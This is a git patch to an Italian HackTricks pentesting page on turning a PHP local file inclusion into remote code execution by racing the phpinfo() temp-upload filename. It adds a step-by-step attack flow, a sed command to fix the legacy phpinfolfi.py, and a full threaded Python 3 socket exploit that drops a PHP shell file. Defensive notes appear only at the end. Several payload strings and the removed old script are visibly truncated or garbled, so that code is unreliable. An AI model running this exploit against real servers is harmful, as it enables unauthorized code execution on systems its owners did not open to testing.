From c41160ecddc8e3e8cb94e3d77063cf99e121e52d Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:50:55 +0000 Subject: [PATCH] Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] --- .../file-inclusion/lfi2rce-via-phpinfo.md | 181 ++++++++++++++---- 1 file changed, 143 insertions(+), 38 deletions(-) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index c01a9a22d..73a113f46 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,160 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -Per sfruttare questa vulnerabilità hai bisogno di: **Una vulnerabilità LFI, una pagina dove viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".** +Per sfruttare questa tecnica hai bisogno di tutto quanto segue: +- Una pagina raggiungibile che stampa l'output di phpinfo(). +- Una Local File Inclusion (LFI) primitive che controlli (es. include/require basati su input utente). +- Gli upload di file in PHP abilitati (file_uploads = On). Qualsiasi script PHP accetta multipart uploads RFC1867 e crea un file temporaneo per ogni parte caricata. +- Il worker PHP deve poter scrivere nella upload_tmp_dir configurata (o nella directory temporanea di sistema di default) e la tua LFI deve poter includere quel percorso. -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Write-up classico e PoC originale: +- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) +- Nome script PoC originale: phpinfolfi.py (vedi whitepaper e mirrors) -**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -Devi correggere lo sfruttamento (cambiare **=>** in **=>**). Per farlo puoi fare: +Note sul PoC originale +- L'output di phpinfo() è codificato in HTML, quindi la freccia "=>" spesso appare come "=>". Se riutilizzi script legacy, assicurati che cerchino entrambe le codifiche quando analizzano il valore _FILES[tmp_name]. +- Devi adattare il payload (il tuo codice PHP), REQ1 (la request verso l'endpoint phpinfo() compreso il padding) e LFIREQ (la request verso il tuo sink LFI). Alcuni target non richiedono un terminatore null-byte (%00) e le versioni moderne di PHP non lo rispetteranno. Adatta di conseguenza LFIREQ allo sink vulnerabile. + +Esempio sed (solo se usi davvero il vecchio PoC in Python2) per corrispondere alla freccia codificata in HTML: ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -Devi anche cambiare il **payload** all'inizio dell'exploit (per un php-rev-shell ad esempio), il **REQ1** (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (questo dovrebbe puntare alla vulnerabilità LFI, cioè: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo) - {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} -### Teoria +## Teoria -Se gli upload sono consentiti in PHP e provi a caricare un file, questo file viene memorizzato in una directory temporanea fino a quando il server ha finito di elaborare la richiesta, poi questo file temporaneo viene eliminato. +- Quando PHP riceve un POST multipart/form-data con un campo file, scrive il contenuto in un file temporaneo (upload_tmp_dir o il default del sistema operativo) ed espone il percorso in $_FILES['']['tmp_name']. Il file viene rimosso automaticamente alla fine della richiesta a meno che non venga spostato/rinominato. +- Il trucco è scoprire il nome temporaneo e includerlo tramite il tuo LFI prima che PHP lo elimini. phpinfo() stampa $_FILES, incluso tmp_name. +- Gonfiando gli header/parametri della richiesta (padding) puoi far sì che blocchi iniziali dell'output di phpinfo() vengano inviati al client prima che la richiesta finisca, così puoi leggere tmp_name mentre il file temporaneo esiste ancora e poi immediatamente richiamare l'LFI con quel percorso. -Quindi, se hai trovato una vulnerabilità LFI nel server web, puoi provare a indovinare il nome del file temporaneo creato e sfruttare un RCE accedendo al file temporaneo prima che venga eliminato. +Su Windows i file temporanei si trovano comunemente in qualcosa come C:\\Windows\\Temp\\php*.tmp. Su Linux/Unix di solito sono in /tmp o nella directory configurata in upload_tmp_dir. -In **Windows** i file sono solitamente memorizzati in **C:\Windows\temp\php** +## Flusso d'attacco (passo dopo passo) -In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Poiché il nome è casuale, è necessario **estrarre da qualche parte il nome del file temporaneo** e accedervi prima che venga eliminato. Questo può essere fatto leggendo il valore della **variabile $\_FILES** all'interno del contenuto della funzione "**phpconfig()**". - -**phpinfo()** - -**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI. - -**Script Python per provare a forzare il nome (se la lunghezza = 6)** -```python -import itertools -import requests -import sys - -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) - - -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: # '); +``` +2) Invia una grande POST multipart direttamente alla pagina phpinfo() in modo che venga creato un file temporaneo che contiene il tuo payload. Gonfia vari header/cookie/param con ~5–10KB di padding per favorire l'output anticipato. Assicurati che il nome del campo del form corrisponda a quello che parserai in $_FILES. + +3) Mentre la risposta di phpinfo() è ancora in streaming, analizza il corpo parziale per estrarre $_FILES['']['tmp_name'] (HTML-encoded). Non appena hai il percorso assoluto completo (es., /tmp/php3Fz9aB), esegui il tuo LFI per includere quel percorso. Se include() esegue il file temporaneo prima che venga cancellato, il tuo payload viene eseguito e deposita /tmp/.p.php. + +4) Usa il file creato: GET /vuln.php?include=/tmp/.p.php&x=id (o dove il tuo LFI ti permette di includerlo) per eseguire comandi in modo affidabile. + +> Suggerimenti +> - Usa più worker concorrenti per aumentare le probabilità di vincere la race. +> - Posizionamenti del padding che comunemente aiutano: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Adatta per il target. +> - Se il sink vulnerabile appende un'estensione (es., .php), non hai bisogno di un null byte; include() eseguirà PHP indipendentemente dall'estensione del file temporaneo. + +## PoC Python 3 minimale (basato su socket) + +Lo snippet qui sotto si concentra sulle parti critiche ed è più facile da adattare rispetto allo script legacy Python2. Personalizza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD. +```python +#!/usr/bin/env python3 +import re, html, socket, threading + +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") + + +def race_once(): +s1 = socket.socket() +s2 = socket.socket() +s1.connect((HOST, PORT)) +s2.connect((HOST, PORT)) +s1.sendall(REQ1.encode()) +buf = b'' +tmp = None +while True: +chunk = s1.recv(4096) +if not chunk: +break +buf += chunk +m = pat.search(html.unescape(buf.decode(errors='ignore'))) +if m: +tmp = m.group(1) +break +ok = False +if tmp: +req = (LFI % tmp).encode() % HOST.encode() +s2.sendall(req) +r = s2.recv(4096) +ok = b'.p.php' in r or b'HTTP/1.1 200' in r +s1.close(); s2.close() +return ok + +if __name__ == '__main__': +hit = False +def worker(): +nonlocal_hit = False +while not hit and not nonlocal_hit: +nonlocal_hit = race_once() +if nonlocal_hit: +print('[+] Won the race, payload dropped as /tmp/.p.php') +exit(0) +ts = [threading.Thread(target=worker) for _ in range(THREADS)] +[t.start() for t in ts] +[t.join() for t in ts] +``` +## Risoluzione dei problemi +- Non vedi mai tmp_name: assicurati di inviare effettivamente una POST multipart/form-data a phpinfo(). phpinfo() stampa $_FILES solo quando è presente un campo di upload. +- L'output non viene inviato (flush) precocemente: aumenta il padding, aggiungi header più grandi o invia più richieste concorrenti. Alcuni SAPIs/buffer non svuotano l'output fino a soglie maggiori; regolati di conseguenza. +- Percorso LFI bloccato da open_basedir o chroot: devi puntare l'LFI a un percorso consentito o passare a un diverso vettore LFI2RCE. +- Directory temporanea non /tmp: phpinfo() stampa il percorso tmp_name assoluto completo; usa esattamente quel percorso nell'LFI. + +## Note difensive +- Non esporre mai phpinfo() in produzione. Se necessario, limitarne l'accesso per IP/autenticazione e rimuoverlo dopo l'uso. +- Mantieni file_uploads disabilitato se non necessario. Altrimenti, limita upload_tmp_dir a un percorso non raggiungibile tramite include() nell'applicazione e applica una validazione rigorosa su qualsiasi percorso include/require. +- Considera qualsiasi LFI critico; anche senza phpinfo(), esistono altri percorsi LFI→RCE. + +## Tecniche HackTricks correlate + +{{#ref}} +lfi2rce-via-temp-file-uploads.md +{{#endref}} + +{{#ref}} +via-php_session_upload_progress.md +{{#endref}} + +{{#ref}} +lfi2rce-via-nginx-temp-files.md +{{#endref}} + +{{#ref}} +lfi2rce-via-eternal-waiting.md +{{#endref}} + + + +## Riferimenti +- LFI With PHPInfo() Assistance whitepaper (2011) – mirror di Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf +- Manuale PHP – caricamenti con metodo POST: https://www.php.net/manual/en/features.file-upload.post-method.php {{#include ../../banners/hacktricks-training.md}}